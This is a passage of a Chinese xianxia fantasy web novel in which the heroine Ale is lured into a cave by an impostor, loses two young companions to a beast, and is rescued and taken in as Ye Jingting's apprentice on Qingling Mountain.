芷萧抱拳算是谢过,也封住了自己耳朵。
这下所有人都听不到,只能靠手语比划。不过这些士兵一看就早有准备,平时训练有素,虽然听不到指令,兵头随即掏出早已准备好的旗帜有条不紊的指挥着攻击。
阿乐对着芷萧一顿比划,一会指指另一颗大树枝头,一会指指他们三人。好在芷萧看懂了她的意思,点点头抱着晓茶、阿明两人缩回树枝中。
她纵身一跳,往另一边更靠近这妖兽的地方去了。
这飞剑在上空交织成一张密网,却未曾伤到这妖兽半分。难道是它这龙鳞、还是这鱼鳞坚如盔甲,刀枪不入?
两边缠斗了好一会,士兵们还是未见成效,只好用几张捆兽网里外三层把它罩住,它也不冲撞逃跑就这样呆在了网里。
为首的兵头往林子深处跑去,阿乐也跟着去了。
不一会,一个熟悉的身影出现了,果然是林将军亲自带队,那王一林是不是就在附近。这妖兽实在是诡异得很,看的阿乐心痒痒也想去试一试。
刚想跳下,后脖颈传来一阵劲风,阿乐捏诀祭出“寒冰”向身后刺去。
“阿乐,是我!”这熟悉的声音,是王一林。
阿乐急忙召回“寒冰”,道“大哥,你怎么在这,我刚想去找你。”
王一林食指竖在嘴边,指了指下边,而后拉着阿乐向裂谷深处走去。
两人走了一段路,王一林才放开阿乐,上下打量了确定没伤口才缓缓道:“这里这么危险,怎么一个人就来了?”
阿乐有些奇怪,她不是一个人来,还应该和谁一起吗?<
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“你说鹤哥哥他们吗?他们有事这几天都不在听书楼,你不是知道吗?”阿乐道。
“啊,对这几天忙忘了。”王一林食指敲了下脑袋,一副刚想起来的样子。
“大哥,这个是什么妖兽呀?为何都伤不到它。”疑问转瞬即逝,阿乐现在更关心这个问题。
王一林没有立马回答,而是转过身看向裂谷深处,好似在思考什么,半晌才道:“阿乐,我方才在那里面发现一个山洞,觉得很奇怪,说不定与这妖兽有关,你想不想和我一起去看看。”
阿乐看着王一林背影,有些奇怪,为什么要背对着她说话,还有这说话语气,似乎与平时的王大哥有些许不同之处,手指捏诀想要探查一番。
这时,王一林转过身,眼眸有些暗淡,直勾勾望向自己:“算了,阿乐,那山洞里昨夜还隐隐传来嘶吼,只怕是还藏着什么妖兽,你跟我去也是冒险,你去支援林将军他们吧,我先去探探虚实。”
“大哥——”阿乐看着王一林有些失望的表情,心里狠狠鄙夷了自己一下,在这困境里,面对这使出浑身解数也无法伤及半分的妖兽,人当然会与平时有些不一样,自己怎么会生出那么多猜疑。
“好,我去。”
王一林转过身背对阿乐,不知是不是错觉,他肩膀微微颤抖,是——在憋笑吗?
眨眼间,王一林又恢复平时那温柔贴心的摸样,向阿乐伸出手,示意拉着他一同前往。
阿乐伸出手在空中停顿住,王一林温柔道:“阿乐,怎么了?”
“没怎么,大哥。我们走。”阿乐甩甩头,怀疑是不是自己昨晚没休息好。
阿乐回头望了望那片还在闪着光的战场,随即跟着王一林两人往深谷走去。
深夜的山谷像极了一个张开血盆大口的怪物,在静悄悄的等着猎物自投罗网。
两人走了估摸有半柱香的时间,果然有一个山洞出现的眼前。
阿乐站在洞口往里探了探,果真是伸手不见五指,从而又祭出夜明珠,这才稍微看清楚一些。
“大哥,这是什么山洞啊,我怎么感觉里面不像有活物?”阿乐催动夜明珠往里去了一段,也还是黑峻峻一片。
“我也不知道,但是昨夜路过这里确实有听到嘶吼,与外面那只妖兽吼叫有几分相似。说不定是同伴。”王一林道。
“那我们往里去看看。”手中的“寒冰”传来一阵冰凉,阿乐深吸一口气看着眼前的黑暗,安慰自己不要怕。
“阿乐,你害怕吗?”王一林忽然凑近,在耳边轻轻问道,声音中似乎有些抑制不住的兴奋。
阿乐下意识往后退了半步,须臾片刻才道:“还好。”
“那就好,没事的,我——会一直一直陪着你。”说罢嘴角不自觉向上扬起,从方才见到王一林,阿乐心中总是萦绕着一丝奇怪的感觉,但又来不及细想,只能安慰自己不要胡思乱想。
王一林拉过阿乐,手掌传来温度让她打消了一些年头,不管怎么样,起码不是外面那妖兽就好。
两人向着山洞里走去,直到那点柔弱的亮光被整个黑暗所吞噬。
11. 山洞
走了半柱香的时间,还是一片黑暗,这路蜿蜒曲折,只有偶尔传来的水滴声,整个山洞安静得只听得到阿乐自己的心跳声。
王一林呢?
“大哥,你还在吗?”阿乐记得刚开始两人还并肩而行,催动夜明珠在周围找了一圈,只看到自己的影子孤零零的映在洞壁上。
“大哥——王大哥——”心中有些踹踹不安,难道两人走岔了?可这一路上也没有岔路口啊!
阿乐有些着急又喊了几声,声音在狭窄的通道了回荡了几圈。
没有回应。
“嘿嘿”须臾间不知从何处传来几声轻笑,在这空荡的洞内尤为诡异,阿乐顿时一阵头皮发麻,握紧“寒冰”,道:“谁?谁在那——”
没有人回答。
一阵清风吹过,洞里怎么会有风?
看来自己在明,敌人在暗,阿乐收起夜明珠,手持“寒冰”沿着洞壁蹲下,安静的观察着这黑峻峻的一切。
“嘿嘿”又是几声轻笑,这次靠的很近,凭借着听声判断对方位置,“寒冰”顺着声音方向直直劈下。
“砰”一声,剑锋被什么坚硬的东西挡住了。
“阿乐,是我!”王一林喊道。
阿乐祭起夜明珠仔细看了看,确实是王一林。
“大哥,你刚刚去哪里啦?”阿乐声音略带哭腔,她是真着急。
“刚才那边有异动,来不及叫你。我先去查看了一番。”王一林不动声色解释道。
“异动?我怎么没有感觉到?”阿乐有些怀疑,这一路上安静无比,若是真有异动自己怎么可能一点都没觉察。
“阿乐,你这一路都太紧张了,太过紧张就会忽略很多细节。”王一林道。
“——是吗?”阿乐看着眼前的王一林,咧着嘴角的样子陌生至极。
“不信?你跟我来。”不等阿乐回答,王一林一把拉过她向反方向走去。
王一林力气奇大,阿乐手腕被捏的生疼,走了一会才松开,指着前方道:“我没骗你,就是这里。”
催动夜明珠往前探了探,还是一片黑暗。
忽然,有几声呻吟声传来,阿乐赶忙往前探去,脚下一滑没站稳,向前扑去,没成想到这是个斜坡,整个人顺着坡往下滚去。
“王大哥,救我!”阿乐最后一眼看到,王一林就抱着手站在那儿咧着嘴笑。
来不及捏诀反应,整个人就这样直直向下滚去。
“啊哟”阿乐一声闷哼,不知撞到了什么东西才停了下来。借着夜明珠的光这才看清,是半截硬了的尸体。
而且不止一具,横七竖八四处散落一地残骸。
“啊——”声音在洞底回荡了许久。
阿乐紧紧握住“寒冰”,大口喘着粗气警觉的观察着四周。
洞底又恢复了宁静,阿乐找了块还算干净的空地坐下。衣服已被碎石割得破败不堪,身上细小的口子不胜其数,虽有些疼痛但还算能忍。
现在最重要的是找到出口。
夜明珠在黑暗中散发着幽幽柔光,阿乐催动着绕了一圈,整个洞底怪石嶙峋,形成很多洞口,也不知通向哪里,难不成真得一个一个尝试?
忽然,黑暗中又传来一阵极其细微的呻吟声,与方才听到的一模一样。
阿乐打起精神,循着呻吟声的方向仔细寻去。
对方似乎察觉到阿乐的存在,呻吟声虽断断续续,却一直在引导。
也不知打了多少个圈,呻吟声终于近在咫尺。
“姐——姐——”微弱的两个字,阿乐听着这耳熟的声音,心中一惊,晓茶!!!
手忙脚乱的一顿翻找,在一堆乱石中找到了晓茶。
“晓茶,是我,是我!你——你怎么在这?”
不知是不是昏倒了过去,等了许久也没有回应。
阿乐手中捏诀,灵力从掌心冒出,往晓茶身上传去。
“姐姐——不要——不要浪费灵力。”过了一会,晓茶醒了,声音还是很微弱。
夜明珠照在她身上,全身上下没有一处好肉,全被血糊着,看着这个样子的晓茶,阿乐眼泪顺着鼻尖落下,有几滴正好落在伤口上。
“啧——姐姐不哭。”尽管自己这幅摸样,还在关心着阿乐。
“你怎么在这里,芷萧呢?阿明呢?”阿乐擦了擦眼泪,手中捏诀帮她治疗伤口。
半晌,晓茶稍微好了些,但还是坐不起来,只能半卧在阿乐腿上。
原来在阿乐走后一直没有消息,芷萧有些担心便让他们俩原地躲好,自己先出去探一探。芷萧没走多久,就出现一个男子,不由分说把他们俩带到这个地方扔了下来。
还好阿明带着那颗夜明珠,两人也不算在黑暗中摸索。却不料没走都远,就遇到了一只妖兽,奇怪的是,这只妖兽与外面那只一模一样,他们俩灵力修为尚浅,根本打不过它。
“那阿明呢?我去找他。”阿乐问道。
“呜呜呜呜”晓茶忽然哭了出来,好似忍了很久,直到这一刻才爆发。
“明明——明明被妖兽吃了。”看着晓茶这幅摸样,也猜到七八分,心里最后一丝侥幸也被浇灭了。
“我拼命拉住他,但是我力气小我拉不住——呜呜呜呜”晓茶情绪突然变得激动,双手在空中徒劳的比划着,阿乐实在不忍心,手指在她脖颈上一点,便歪倒在怀中沉沉睡去。
四周又再次陷入安静。
看着晓茶的伤势,必须得早点找到出口。
阿乐看着眼前这些大大小小的洞口,心生一计。随手抓起地上的一把碎石,注入灵力。手中捏诀,口中念念有词,而后把石子往空中一抛,道:“去!”
只见这些小石头都“长出”了透明状小翅膀,上下扑棱着往不同洞口飞去。只要最后哪颗没回来,那它走的这个洞势必就是连通外面的出口。
看着飞走的小石头,阿乐原地盘腿坐下,开始凝神蓄力。
刚闭上眼,地上微微有些晃动。阿乐以为是自己头晕并未太在意,再过一会,晃动幅度越来越大,身边开始有石块落下,心道:“不好,难道是那妖兽?完了,自己一人也不是它对手啊!”
思及至此,那只有一个办法,那就是——躲!
随即抱着还在昏睡的晓茶向大石块后躲去,屏住呼吸。
那妖兽站在原地仰着脖子又吼叫了几声,伸长脖子在空中来回嗅着。
没等阿乐反应,便直直向着她身后石块冲来。
阿乐心中一惊,它怎么知道自己方位的?来不及细想,抱着晓茶脚尖轻点一个后空翻向妖兽背后飞去。
妖兽扑了个空,恼怒的一甩尾巴击碎了石块,“砰”一声巨响,满天碎石落地。
抱着晓茶实在伸不开手,只好找了个略小的洞口把晓茶藏了进去。
祭出“寒冰”握在手中,冰凉的触感传过掌心,心中添了几分自信。
在这黑暗中,这妖兽既然能如此精准的找到她们方位,肯定不是靠视力,难道是晓茶身上的血腥味?
阿乐连忙捏诀向着晓茶所在的洞口处结起结
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界。
果然这妖兽顿时失去了方向,到处乱撞。
又是一阵震耳欲聋的吼叫。
阿乐刚松一口气,妖兽便向她所在方向直直冲来,“糟糕,忘了自己身上也有伤口。”
来不及打开结界,只能提剑迎战。须臾间,两道黑影纠缠在一起。
黑暗中一道道剑光砍在妖兽身上,未曾想它身后鳞片无比坚硬,未造成太大伤害,倒是阿乐被它尾巴抽飞几次。
再从地上爬起来,擦了擦嘴角渗出的血迹,身上又多了几道伤口。
这样下去灵力消耗太快,实在对自己不利,在外面那么多士兵都没办法收服它,现在自己势单力薄更是没有胜算。
眨眼间,妖兽寻到阿乐的方位,蓄力开始新一轮的攻击。
阿乐握着“寒冰”四处闪躲,并不打算直接迎战。
那妖兽接连撞碎了几根石柱后,终于停止了攻击。
这时,晓茶声音从洞口传来:“姐——姐——”
糟糕,“晓茶别出来——”,阿乐喊叫道,但还是晚了一步。
寻着血腥味,妖兽重新调转了个方向冲去。
阿乐把“寒冰”举过头顶向妖兽后背刺去,这一剑带着阿乐全部灵力狠狠刺下。
这一瞬间安静无比,直至感受到剑锋没入血肉的触感。
妖兽一阵哀嚎,双眼变得通红,转过身向阿乐冲来,这一击躲无可躲。
阿乐在空中划出一道完美弧线,重重甩在碎石上。闷哼一声,口中鲜血不止,浓烈的血腥味惹得妖兽一阵兴奋。
此时的妖兽被鲜血和疼痛双重刺激,不给任何喘息的机会,瞄准方位再次冲来。
阿乐只觉得五脏六腑都在肚子里晃动,全身疼痛得使不上半分力,只能跪坐在地,本能的举起“寒冰”挡在身前。
突然,一道刺眼的光芒在洞底划过,一声巨响伴随着血肉炸开的声音填满整个山洞,紧接着又是妖兽的哀嚎声。
这一切发生的太过突然,阿乐还没搞清楚发生了什么事,顿时,又陷入黑暗与安静。
那声巨响——回忆在脑海中翻涌着,林府,曾经在林府见到的那个混血儿浮生烬爆发时就是这个声音。
“晓茶——晓茶——”阿乐一瞬间反应过来,刚才那是晓茶体内的浮生烬爆发。之前听说过,巨大的情绪波动是极其容易引起混血儿体内浮生烬爆发的。
刚才是晓茶救了她。
催动着夜明珠四处探查,哪里还有晓茶,早就变成一堆堆肉泥散落各处。
那妖兽被顶上掉下来的一块巨大石头压住不能动弹,只能无力的叫唤着。
来不及悲伤,洞底又开始剧烈晃动,紧接着顶上不断有石块落下,看来这山洞要塌了。
还没有等到小石头飞回来,怎么办,难道自己真的要死在这里了吗?随着掉落的石块越来越多,洞口也坍塌了许多,怎么办?
这时,手中的“寒冰”传来丝丝冰凉,周身散发起一圈亮光,好似被唤醒一般。接着剑身飞起至半空,拖着阿乐便向前飞去。
阿乐从未见过这样子的“寒冰”,也不知道它要去哪里,只感觉到碎石在身边落下都被“寒冰”一一躲过,风在耳旁“呼呼”吹过。
山洞在身后一寸寸坍塌。“寒冰”越飞越快,终于看到米粒般大小的亮光,阿乐一阵欣喜,想起晓茶又一阵悲伤,眼泪混着血水渐渐模糊了双眼。
眼前的亮光越来越近,阿乐渐渐失去意识,手一松,便晕了过去。
“阿乐——”
12. 带回清灵山(上)
阿乐缓缓睁开眼,发现自己站在浓雾中,凝神细望,透过层层雾霭深处,隐约现出一座小院,似是那在梦中反复出现的地方。
“阿乐——怎么玩到现在才回来?你看看你都变成小脏猫了!”是阿娘的声音。
浓雾顿时消散,露出小院清晰的轮廓。院子里挂着很多葡萄藤,在片片绿叶中满满当当的葡萄坠满藤蔓。
阿娘向自己走来,温柔如水的眉眼中藏满担心,“你看你,又跑去哪里疯了?快去找你爹爹把脸洗了来吃饭!”
“阿娘——”阿乐泪眼婆娑,哽咽着喊道。
“阿乐怎么哭了,你看,阿爹给你买的兔灯笼,好看吧!”阿乐看着爹爹提着兔子灯笼与阿娘站在一起对着自己笑,可却越来越远。
阿乐哭着向他们奔去:“阿爹——阿娘——你们别走啊!”
浓雾再次在眼前聚拢又消散。
一片火海。
房屋在火海中倒塌大半,一片吵闹哭喊声,阿乐无措的站在原地,举目望去,焦急的寻找着那两个熟悉的身影,却什么也没有找到。
一只强壮有力的手抓住了自己:“你是龙知乐吗?走我带你去清——”
“我不去,我要去找阿爹阿娘——”阿乐甩开手跌跌撞撞向前跑去。
一个踉跄摔倒在地,再爬起来,是一片青山。
迷雾再次聚拢。
“姐姐——阿乐姐姐——”
阿乐转头回望,芷萧拉着晓茶、阿明,站在一棵大树下对自己招手,阿明手里拿着那颗夜明珠:“阿乐姐姐——快来!”
阿乐开心的向他们跑去,“姐姐,这是你的夜明珠,还给你。”阿乐伸出手去接,夜明珠突然膨胀变成阿明的头颅,双眼带着恨意盯着自己。
抬眸一看,芷萧正在地上捡着一堆堆肉泥,“晓茶——”,转而双眼瞪着自己:“是你!是你害死了她。”
“不是我,不是我,是大哥——”阿乐连忙摆手向后退去。
“阿乐——你怎么可以诬陷人呢——哈哈哈哈”王一林的脸带着诡异的笑容出现在迷雾中,阿乐手握“寒冰”一剑一剑刺去,却总是刺不中。
转眼,王一林便消失在迷雾中。
“阿乐——”
好熟悉的声音啊。一道光穿透迷雾照在自己身上,阿乐抬眸看去,有些刺眼,手中“寒冰”周身亮起一圈光辉。
“阿乐——”
阿乐蹲在地上抱着自己闭上眼睛低着头,恨不得把自己揉成一团,嘴里反复念叨“阿爹——阿娘——”
“阿乐——”
有人靠近,温柔的喊着自己名字,声音实在好听。阿乐微微抬眸,眼前的脸弥漫着一圈光晕,刺眼得看不清。
“阿乐——我在,我在。”
温柔的声音在轻轻哄着自己,仿佛有什么东西要从脑子里冒出来了,偏偏又想不起那是什么。
脑袋好似被人扎了几针,一阵剧烈疼痛传来。
“啊——不要——”猛然睁开眼,一张脸正在看着自己,眉头紧蹙,嘴巴一张一合。
阿乐瞪着眼看着这一张一合的嘴巴,半晌才听清是自己的名字:
“阿乐——”
叶敬亭的轮廓逐渐清晰。
“阿乐——你听得见我说话吗?”语气略带焦急。
“咳咳”阿乐一张口,却引得一阵咳嗽。
叶鹤立马端着一杯茶递过来,“来,那么多天都没喝下一口水,快喝了这杯茶。”
阿乐头还是有些眩晕,方才自己不是还在那山洞里?那妖兽呢?
对了,是“寒冰”带她逃出山洞的,那“寒冰”周身通亮,自己用了那么久也没见它这样过,那这又是哪里?
这里灵气充沛,洁白无瑕的四壁用原木绿植点缀,屋中间摆放着一张圆桌,整间屋子古朴雅致,这怎么看也不是听书楼啊!
不管是哪儿,只要这两人在,那肯定不会是什么危险的地方。
“咕咚——”
“咕咚——咕咚——”
一口气喝了两壶水。
“慢点。”叶敬亭放下水壶,手掌向阿乐眉心探去。能量稳定,看来“浮生烬”波动已平息。
阿乐额头丝丝碎发被汗珠黏住,手不由自主轻轻拭去。
这突如其来的亲昵,阿乐微微愣住。
两人眼神不巧对上,都有些不知所措。
叶鹤连忙上前道:“阿乐啊,你一个人跑去那星裂谷做什么?还好我们及时赶到——”
“你们怎么会在那儿?”阿乐回过神问道。
“你两天没回听书楼,若楼担心你出事通知了我们。”叶鹤回道。
“到底发生了什么事?”叶敬亭看着阿乐,一脸认真。
阿乐把在星裂谷发生的事情说了一遍,包括芷家三兄妹。
刚说完,“咯吱”门打开了,“我听说过那个妖兽!”
他们什么时候在门外偷听的?
阿乐看着进来的两人,一大一小,均都穿着干净素雅白色长袍,面容清秀俊美,有一种脱离尘世仙气飘飘的感觉。
猛然一惊,再看向叶敬亭、叶鹤,他们也是一身白袍。
阿乐上下打量着叶敬亭,再看看叶鹤,脑海中蹦出一个难以置信的想法:“鹤哥哥、亭哥哥,你们早就认识?”
“是,叶鹤是我师兄。”叶敬亭坦然回道。
“师兄?你们不会是神族太虚天尊的门下吧?”阿乐脑袋嗡嗡作响,“叶鹤、叶敬亭”两个人姓氏交叠在一起,神族太虚天尊叶修一的清云山那可是修真界第一门派,门下弟子都姓叶。自己之前怎么就没怀疑过他们既然是神族,又都姓“叶”,哎!白长个脑袋了,真是白长了。
“是。”叶敬亭并不打算隐瞒,如实告知。
阿乐大脑一片空白,她环视一圈房间,颤抖道:“这里——不会是清云山吧!”
“是。”
阿乐盖着棉被也觉得后背有些发凉,往后缩了缩,这一切来得好突然。
自己在听书楼住了十年,从未知道听书楼鹤老板居然是叶修一的门下弟子,就连这叶敬亭,居然也是,那之前他们演什么不熟?!
“你们——骗我!!!!”原本最熟悉的面孔却感觉如此陌生,现在还有什么可以相信的?
阿乐瞅准时机一跃而起手指捏诀,祭出“寒冰”,却未曾料想,“寒冰”是从叶敬亭腰间飞过来的。
没时间细思,一手擒住叶敬亭,剑锋抵住其喉间,对着屋内其余几人大喊道:“你们别过来,不然别怪我不客气。”
一切变化有些突然,叶鹤、刚才进来的两人都很安静的站在原地愣了一下,随即都很默契的捂住了嘴,笑弯了的眼睛却出卖了自己。
阿乐不明所以,现在不应该是担心叶敬亭吗?为何一副很好笑的样子?
“鹤哥——不是,叶鹤,你们笑什么?”
叶鹤放下白扇,走上前关心道:“阿乐,你先放下剑,别伤着自己!”
“你,站住,不许再往前了!”阿乐看着对方一点也不害怕,自己倒慌了几分。
“好好好我不走,你看看那剑。”叶鹤点头道。
这剑有什么好看的?阿乐向手上望去。
这剑锋什么时候反了过来?要是一不注意那伤到的可就是自己!
“寒冰”通体散发着亮光,这不就跟在山洞带着自己飞出来的样子一模一样!难道它主人真就在这屋里?
环视屋里每个人,最后目光投降了被自己“擒住”的叶敬亭。
看不见他此时的表情,只知道他很“配合”
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自己,明知道剑锋不再对着他,明知道自己打不过他,却还是这样一动不动的站着。
“寒冰,不可伤到人!”须臾间,叶敬亭命令道。
只见“寒冰”闪烁了两下,“嗖”一声,回到了叶敬亭腰间。
看着眼前这诡异的一幕,阿乐顿时怔住,难道就连这救过自己命的“寒冰”也是叶敬亭的?现在自己手中空无一物,怎么办?
打也打不过,跑也跑不掉,他们不会是要灭了自己吧!对,叶鹤是知道自己是混血儿的,之前一直带着的那块“灵牌”此刻也不在身旁,那就是他们都知道自己是混血儿咯!那怎么办?对了,阿娘是天尊师妹,理应也是这几位的师叔,要不就自爆家门好了,总得先活着出去啊!
不对,他们清云山不就是最遵守天规的嘛,要是现在说了,那不就直接原地被挫骨扬灰!
叶敬亭转过身,此时的阿乐站在床榻上,脸上阴晴不定,便轻唤道:“阿乐——”
“别怕”两个字还未说完,只见阿乐身体一软整个人向后倒去,在还未接触到床榻之前叶敬亭已拦腰捞起。
“阿乐——”
听着叶敬亭轻唤着自己,声音中只听得出担心,似乎并未有要伤害自己的意思。难道是自己多想了?眼睛还是紧紧闭住,心道:“不行,要坚持住,现在先装晕,晚点再想办法逃出去。”
不知道过了多久,阿乐本来只是在床上装晕没想到自己既然睡了过去。
屋里很安静,只听得到窗外清风拂过树叶的“刷刷”声。
阿乐眯着眼从眼缝中扫着四周,是没有人。
“呼——”长舒一口气,看来自己的小命暂时是保住了。
乘着没人,阿乐迅速换上放在床旁的衣服还有“灵牌”,转了一圈自言自语道:“这衣服居然那么合身。”
“咯吱——”门开了。
是叶鹤,身后跟着的是叶敬亭。
阿乐没想到他们会那么快回来,也没有趁手的兵器,须臾间只好捏碎茶桌上的茶壶,抄起一块碎片对着自己威胁道:“你们过来,我就自杀。”
叶鹤翻了个白眼,微微一抬手,碎片便飞了出去,一个健步上前,对着脑壳就是一记。
阿乐捂着脑袋嚷嚷道:“很痛啊。”
“我说你个小白眼狼,这十年喝我的住我的,我们才刚从星裂谷把你救回来,现在是演的哪一出?”
“可是——可是你也骗了我十年。”阿乐看着眼前熟悉的鹤哥哥又回来了,但一想到他们联手骗自己又很气愤,一时间悲喜交加既有些泪眼婆娑,鼻子一酸,当真是要哭了出来。
“还有你!我那么信任你,你也骗我,你们俩还装不熟!”吸吸鼻涕继续道:“既然那‘寒冰’也是你的。”
阿乐再也憋不住,对着两人一阵数落。
叶敬亭安静的听着,直到她累了说不动了,才道:“饿了吧?去吃饭。”
可能是心里的委屈终于道完了,也明白他们不是来让她挫骨扬灰的,甚至还不远万里去救她,心里虽然还是有很多疑惑,信任这一关也算是那么过了。
“嗯。”乖巧的点点头,胡乱抹了把脸便跟着叶敬亭出去了,确实是饿了。
叶鹤看着这两人背影,无奈笑了笑,“龙知乐,欢迎你回来。”
“二师兄”,一道白影在叶鹤身边悄然出现:“这是不是四师兄心心念念的那个姑娘啊?”
方才在屋里看到那姑娘要倒下,明明是倒在床榻上,也不会受伤,四师兄那紧张的样子,肯定就是他心心念念的那个人。
“枕书,说了一百遍,叫师兄就行,不要带排名。”叶鹤在他头上敲上一记,又道“是她。”
阿乐在清云山的那几年叶枕书还是个喝汤烫到嘴也要哭的小娃娃,不记得也正常。
13. 带回清灵山(下)
这神族太虚天尊叶修一生来就很低调,自从师兄玄天仙尊叶闲飞升成真神不再在这凡间后,他才答应做的这掌门人。
岂止至今,也就陆陆续续收了五个徒儿。这大徒弟叶子清,为人踏实,在十年前出了那件事后,叶修一一直闭门修炼,这门派里里外外的事务便交给他管,现在看来打理得井井有条。
这二徒弟就是那听书楼老板叶鹤,不喜总待在山里,时不时就往外跑。索性干脆在外面开了这听书楼,收集发散情报之余还可以有个在外面的借口,平日里与老四关系最好。
三徒弟是叶展云,方才带着小五在外偷听,说“听说过那妖兽”之人便是他,擅长与人打交道,特别是姑娘家。
老四便是叶敬亭啦,从小天资过人曾经是叶修一亲自培养的下一任掌门人,现在却是最让师尊头疼的人。
小五就是叶枕书,最后一个进清灵山的人,是叶敬亭的跟屁虫,打小就崇拜他。
除了以上五人,其余都算是清灵山外门弟子,暂由叶子清代管。
用膳房内。
之前没感觉自己那么饿,当这一桌菜端上来才意识到肚子已经饿扁了,饭菜清淡却已经吃了五碗米饭。
叶敬亭在一旁帮忙夹菜递水,一边介绍着清灵山的情况。
“亭哥哥,你不用跟我说那么多,我差不多伤好了我就回听书楼了。”阿乐看着这里没有集市、又没有啥好玩的,而且自己身份特殊,虽然多少有些渊源,却——哎,算了,总觉得留下来会很麻烦。
叶敬亭刚倒好一杯水准备递给阿乐,听到“回听书楼”这几个字,想起他们不在这几日,星裂谷发生的事情,那假冒王一林的人和那妖兽也还没查清楚,还有那经常围着阿乐的王一林——哼,心底冒起一团火,手上一用力“啪”杯子应声而碎。
“亭哥哥,你没事吧?”阿乐看着这碎渣子被叶敬亭捏成粉末,关切道。
叶敬亭面色不改,眼眸中多了一丝决心,淡淡道:“你母亲流云仙尊是师尊的师妹,不管发生了什么也是我们的师叔,”余光瞟了一眼阿乐表情才继续道:“清灵山一直都有收留混血儿的历史,更何况你现在体内能量很稳定,目前最好的选择就是留在这里把修为提高,以后再做打算。”
顿了一会,阿乐还在扒饭,也看不出在想什么。
叶敬亭手掌蜷缩慢慢握紧,半晌道:“叶鹤师兄也在这,你可以跟他下山。我负责带你修炼,我们说不定可以找到控制这能量的——”
“方法”两个字还在喉咙,阿乐大声道:“好!你说的,鹤哥哥可以带我出去玩!”
原来担心的是在这里不能出去玩,叶敬亭心里松了一口气,那就好。
“那我可以直接找鹤哥哥拜他为师,这样他既可以带我玩又可以教我修炼,那不是一举两得?”阿乐一拍脑门为自己这个想法激动不已。
“——”叶敬亭身形微微一怔,随即站起身道:“你在这里等我。”
估摸不到半盏茶的时间,叶敬亭回来了,还带着叶鹤。
叶鹤一把白扇合拢又展开,一边看看刚吃饱的阿乐,一边看看一脸严肃的小师弟,“噗嗤”一声笑了出来。
“阿乐啊,说到修为你这亭哥哥可比我厉害多了。”看着阿乐不为所动的表情,又继续道:“他可是师尊亲自点名的下一任掌门人,你要是做了他徒弟,以后你靠山可就大了。”
阿乐欲言又止,点点头,这要是清灵山都是自己的靠山,应该就不会随便被人抓去了吧。
“你忘了,你有事的时候他每次都站你这边,这次要不是他,你怎么能顺利从山洞里出来?”
阿乐抱着手回想着,不可置否点点头。
“你跟着我,我可不一定能教你什么,毕竟——你也知道听书楼那么多事情,而且我会对你很严厉,很有可能让你去管理那听书楼。”
阿乐听到这眉头紧锁,那就是每天做店小二?自己可没若楼那耐心。
她知道叶敬亭对自己很好,相处时日并不多,但她能感受到他对她的好,仿佛不是刚刚认识,是认识了很久很久的那种。
清灵山这个地方很适合修炼,灵力充沛,也不用担心被抓走。只是她对这个地方很奇怪,总有一层恐惧,她确定不是那种对未知生活或者面对怪物的恐惧,是从心底升起的一股恐惧。
叶鹤走到阿乐身旁,使了使眼色。
阿乐想到现在就算回了听书楼,灵力修为想提升也不是一时半会的事情,不如先呆在这里,说不定还会有阿娘的消息。
半晌,整理了下衣服,端正走到叶敬亭面前,双手举起认认真真鞠躬道:“师父在上,受徒儿龙知乐一拜。”
叶敬亭扶起阿乐,嘴角上扬:“不必多礼。”
看着着眼前人,心道:“这次不会再有半点差错。”
这时,门外响起几声掌声,叶展云带着叶枕书从外面现身,两人一副感动流涕的样子,特别是叶展云老泪纵横,围住叶敬亭,又是握手又是拥抱,“太好了,小师弟,十年了,终于——”
“叶展云,你看看你把枕书都带坏了,一天天趴窗口偷听什么!”叶鹤故作生气道。
“师兄,你也进来吧!”叶展云向外喊道。
叶子清走了进来,对着阿乐微微颔首,转而也围在叶敬亭身旁。
“师兄,你怎么也这样!”叶鹤责骂道。
“这等大事,我也想参与一下嘛。”
“四师兄、二师兄、我虽然不知道发生了什么,但也觉得很开心。”
“说了多少次,别带排名!”
阿乐一人站在原地,看着眼前场景有些莫名奇妙。是不是师父平日里对人太冷淡,又总是板着一张脸,好不容易收到一个徒弟,大家才那么替他开心?
这一堆人在一起吵吵闹闹,以后总归是不会孤单了吧。
叶敬亭收了一个新徒弟,还是个女徒弟,这个消息没过两日已传遍清灵山。
阿乐这才知道,这师父哪里是收不到徒弟啊,是根本就不愿意收徒,不然这几日在山里也不会像只猴子走到哪儿被围观到哪儿了。
就算是每天早上卯时不到就起来去修炼,也总能遇到几个外门师兄弟在路上等着。
现在谁人不知谁人不晓她“叶知乐”的名字。以后她就跟着师父姓叶了,这腰间的“灵牌”被师父加固过,总之就是她现在很安全。
除了生活无聊了一些,其他阿乐适应的都很好,而且她发现这清灵山有很多地方都很有趣,比如后山的鸟兽,据说在规定时日是可以去里面围猎的,还有那个传说可以洗净血脉的“化神池”也很神秘。以后有机会一定都要去探索一番。
就是这已经过去一个月了,阿乐就见过叶敬亭两次,一次是教她一些心决要点,让她每日要坚持练习。
再一次就是在清灵山的书房,告诉她哪些书是必须要看的。
她也去找叶鹤问过叶敬亭是不是有什么事,叶鹤也是支支吾吾,只是让她好好修炼,有时间带她去听书楼。
现在只有那叶枕书小师叔看上去比较“好骗”一些。
阿乐拿上让叶鹤给她带的糕点踏进书房,根据她观察,每日申时小师叔都会在这里看书。
果不其然,今日也在,阿乐提着糕点蹑手蹑脚靠近,不打扰到其他认真学习的师兄弟。
“小师叔,你在看什么书呀?”阿乐把糕点盒放在桌上轻声细语道,看了眼书皮,怎么是倒过来的。
“小师叔,这是你练功的一种方式吗?看倒书?”阿乐惊讶道。
叶枕书放下书,两只眼睛肿得像两颗核桃。
“小师叔,你眼睛怎么了?被虫子咬了吗?”
叶枕书一脸愁容,眼眸暗淡,看到来的人是阿乐,撇撇嘴道:“阿乐,我今天不想吃糕点。”
不对劲,完全不对劲,什么事情能让叶枕书那么难过,脑中灵光一闪:“小师叔,你是不是表白失败了?”
叶枕书闭上眼睛转过头不想再理她。
小师叔的这个年纪还能有什么烦心事哭成这样?
“那就是被那几个师叔骂了吗?”
叶枕书听到这几个字,眼眶微红,眼看眼泪就要冲出来,阿乐慌了神,连忙递上手帕,“啊哟,还真是啊!你跟我说是哪个师叔,我给你报仇去!”
“不是的,是四师兄——他——”话还未说完已经泣不成声。
阿乐心中一紧,是师父,他怎么了?
问半天也没问出什么来,她决定自己去看看到底是怎么回事。
叶敬亭喜静,他的住所是整座清灵山最偏僻的地方,路也不好走,弯弯道道很多。
阿乐绕了半天,终于在小路尽头看到一间古朴典雅的房子,门口点着一盏青灯,应该就是这里了。
屋里隐约传来
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几句声音,阿乐趴在门口仔细辨认。
